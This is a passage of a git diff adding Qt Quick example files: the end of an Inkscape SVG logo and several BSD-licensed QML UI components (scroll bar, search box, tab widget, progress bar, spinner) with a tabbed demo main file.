+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/main/qml/main/ScrollBar.qml b/examples/declarative/ui-components/main/qml/main/ScrollBar.qml
new file mode 100644
index 00000000..5b1c5394
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/ScrollBar.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: scrollBar
+
+ // The properties that define the scrollbar's state.
+ // position and pageSize are in the range 0.0 - 1.0. They are relative to the
+ // height of the page, i.e. a pageSize of 0.5 means that you can see 50%
+ // of the height of the view.
+ // orientation can be either Qt.Vertical or Qt.Horizontal
+ property real position
+ property real pageSize
+ property variant orientation : Qt.Vertical
+
+ // A light, semi-transparent background
+ Rectangle {
+ id: background
+ anchors.fill: parent
+ radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1)
+ color: "white"
+ opacity: 0.3
+ }
+
+ // Size the bar to the required size, depending upon the orientation.
+ Rectangle {
+ x: orientation == Qt.Vertical ? 1 : (scrollBar.position * (scrollBar.width-2) + 1)
+ y: orientation == Qt.Vertical ? (scrollBar.position * (scrollBar.height-2) + 1) : 1
+ width: orientation == Qt.Vertical ? (parent.width-2) : (scrollBar.pageSize * (scrollBar.width-2))
+ height: orientation == Qt.Vertical ? (scrollBar.pageSize * (scrollBar.height-2)) : (parent.height-2)
+ radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1)
+ color: "black"
+ opacity: 0.7
+ }
+}
diff --git a/examples/declarative/ui-components/main/qml/main/SearchBox.qml b/examples/declarative/ui-components/main/qml/main/SearchBox.qml
new file mode 100644
index 00000000..4e94fe8c
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/SearchBox.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ id: focusScope
+ width: 250; height: 28
+
+ BorderImage {
+ source: "images/lineedit-bg.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ }
+
+ BorderImage {
+ source: "images/lineedit-bg-focus.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ visible: parent.activeFocus ? true : false
+ }
+
+ Text {
+ id: typeSomething
+ anchors.fill: parent; anchors.leftMargin: 8
+ verticalAlignment: Text.AlignVCenter
+ text: "Type something..."
+ color: "gray"
+ font.italic: true
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { focusScope.focus = true; textInput.openSoftwareInputPanel(); }
+ }
+
+ TextInput {
+ id: textInput
+ anchors { left: parent.left; leftMargin: 8; right: clear.left; rightMargin: 8; verticalCenter: parent.verticalCenter }
+ focus: true
+ selectByMouse: true
+ }
+
+ Image {
+ id: clear
+ anchors { right: parent.right; rightMargin: 8; verticalCenter: parent.verticalCenter }
+ source: "images/clear.png"
+ opacity: 0
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { textInput.text = ''; focusScope.focus = true; textInput.openSoftwareInputPanel(); }
+ }
+ }
+
+ states: State {
+ name: "hasText"; when: textInput.text != ''
+ PropertyChanges { target: typeSomething; opacity: 0 }
+ PropertyChanges { target: clear; opacity: 1 }
+ }
+
+ transitions: [
+ Transition {
+ from: ""; to: "hasText"
+ NumberAnimation { exclude: typeSomething; properties: "opacity" }
+ },
+ Transition {
+ from: "hasText"; to: ""
+ NumberAnimation { properties: "opacity" }
+ }
+ ]
+}
diff --git a/examples/declarative/ui-components/main/qml/main/TabWidget.qml b/examples/declarative/ui-components/main/qml/main/TabWidget.qml
new file mode 100644
index 00000000..972958cb
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/TabWidget.qml
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: tabWidget
+
+ // Setting the default property to stack.children means any child items
+ // of the TabWidget are actually added to the 'stack' item's children.
+ // See the "Extending Types from QML" documentation for details on default
+ // properties.
+ default property alias content: stack.children
+
+ property int current: 0
+
+ onCurrentChanged: setOpacities()
+ Component.onCompleted: setOpacities()
+
+ function setOpacities() {
+ for (var i = 0; i < stack.children.length; ++i) {
+ stack.children[i].opacity = (i == current ? 1 : 0)
+ }
+ }
+
+ Row {
+ id: header
+
+ Repeater {
+ model: stack.children.length
+ delegate: Rectangle {
+ width: tabWidget.width / stack.children.length; height: 36
+
+ Rectangle {
+ width: parent.width; height: 1
+ anchors { bottom: parent.bottom; bottomMargin: 1 }
+ color: "#acb2c2"
+ }
+ BorderImage {
+ anchors { fill: parent; leftMargin: 2; topMargin: 5; rightMargin: 1 }
+ border { left: 7; right: 7 }
+ source: "tab.png"
+ visible: tabWidget.current == index
+ }
+ Text {
+ horizontalAlignment: Qt.AlignHCenter; verticalAlignment: Qt.AlignVCenter
+ anchors.fill: parent
+ text: stack.children[index].title
+ elide: Text.ElideRight
+ font.bold: tabWidget.current == index
+ }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: tabWidget.current = index
+ }
+ }
+ }
+ }
+
+ Item {
+ id: stack
+ width: tabWidget.width
+ anchors.top: header.bottom; anchors.bottom: tabWidget.bottom
+ }
+}
diff --git a/examples/declarative/ui-components/main/qml/main/content/ProgressBar.qml b/examples/declarative/ui-components/main/qml/main/content/ProgressBar.qml
new file mode 100644
index 00000000..f0b14732
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/content/ProgressBar.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: progressbar
+
+ property int minimum: 0
+ property int maximum: 100
+ property int value: 0
+ property alias color: gradient1.color
+ property alias secondColor: gradient2.color
+
+ width: 250; height: 23
+ clip: true
+
+ BorderImage {
+ source: "background.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ }
+
+ Rectangle {
+ id: highlight
+
+ property int widthDest: ((progressbar.width * (value - minimum)) / (maximum - minimum) - 6)
+
+ width: highlight.widthDest
+ Behavior on width { SmoothedAnimation { velocity: 1200 } }
+
+ anchors { left: parent.left; top: parent.top; bottom: parent.bottom; margins: 3 }
+ radius: 1
+ gradient: Gradient {
+ GradientStop { id: gradient1; position: 0.0 }
+ GradientStop { id: gradient2; position: 1.0 }
+ }
+
+ }
+ Text {
+ anchors { right: highlight.right; rightMargin: 6; verticalCenter: parent.verticalCenter }
+ color: "white"
+ font.bold: true
+ text: Math.floor((value - minimum) / (maximum - minimum) * 100) + '%'
+ }
+}
diff --git a/examples/declarative/ui-components/main/qml/main/content/Spinner.qml b/examples/declarative/ui-components/main/qml/main/content/Spinner.qml
new file mode 100644
index 00000000..1a50d0ee
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/content/Spinner.qml
@@ -0,0 +1,70 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ property alias model: view.model
+ property alias delegate: view.delegate
+ property alias currentIndex: view.currentIndex
+ property real itemHeight: 30
+
+ source: "spinner-bg.png"
+ clip: true
+
+ PathView {
+ id: view
+ anchors.fill: parent
+
+ pathItemCount: height/itemHeight
+ preferredHighlightBegin: 0.5
+ preferredHighlightEnd: 0.5
+ highlight: Image { source: "spinner-select.png"; width: view.width; height: itemHeight+4 }
+ dragMargin: view.width/2
+
+ path: Path {
+ startX: view.width/2; startY: -itemHeight/2
+ PathLine { x: view.width/2; y: view.pathItemCount*itemHeight + itemHeight }
+ }
+ }
+
+ Keys.onDownPressed: view.incrementCurrentIndex()
+ Keys.onUpPressed: view.decrementCurrentIndex()
+}
diff --git a/examples/declarative/ui-components/main/qml/main/content/background.png b/examples/declarative/ui-components/main/qml/main/content/background.png
new file mode 100644
index 00000000..9044226f
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/content/background.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/content/spinner-bg.png b/examples/declarative/ui-components/main/qml/main/content/spinner-bg.png
new file mode 100644
index 00000000..b3556f1f
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/content/spinner-bg.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/content/spinner-select.png b/examples/declarative/ui-components/main/qml/main/content/spinner-select.png
new file mode 100644
index 00000000..95a17a1f
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/content/spinner-select.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/images/clear.png b/examples/declarative/ui-components/main/qml/main/images/clear.png
new file mode 100644
index 00000000..91eb2706
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/images/clear.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/images/lineedit-bg-focus.png b/examples/declarative/ui-components/main/qml/main/images/lineedit-bg-focus.png
new file mode 100644
index 00000000..bbfac38d
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/images/lineedit-bg-focus.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/images/lineedit-bg.png b/examples/declarative/ui-components/main/qml/main/images/lineedit-bg.png
new file mode 100644
index 00000000..9044226f
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/images/lineedit-bg.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/main.qml b/examples/declarative/ui-components/main/qml/main/main.qml
new file mode 100644
index 00000000..3334fb74
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/main.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+TabWidget {
+ id: tabs
+ width: 640; height: 480
+
+ Rectangle {
+ property string title: "Red"
+ anchors.fill: parent
+ color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#ff7f7f"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Roses are red"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+
+ Rectangle {
+ property string title: "Green"
+ anchors.fill: parent
+ color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#7fff7f"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Flower stems are green"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+
+ Rectangle {
+ property string title: "Blue"
+ anchors.fill: parent; color: "#e3e3e3"
+
+ Rectangle {
+ anchors.fill: parent; anchors.margins: 20
+ color: "#7f7fff"
+ Text {
+ width: parent.width - 20
+ anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter
+ text: "Violets are blue"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ }
+ }
+ }
+}
diff --git a/examples/declarative/ui-components/main/qml/main/pics/niagara_falls.jpg b/examples/declarative/ui-components/main/qml/main/pics/niagara_falls.jpg
new file mode 100644
index 00000000..d2555439
--- /dev/null
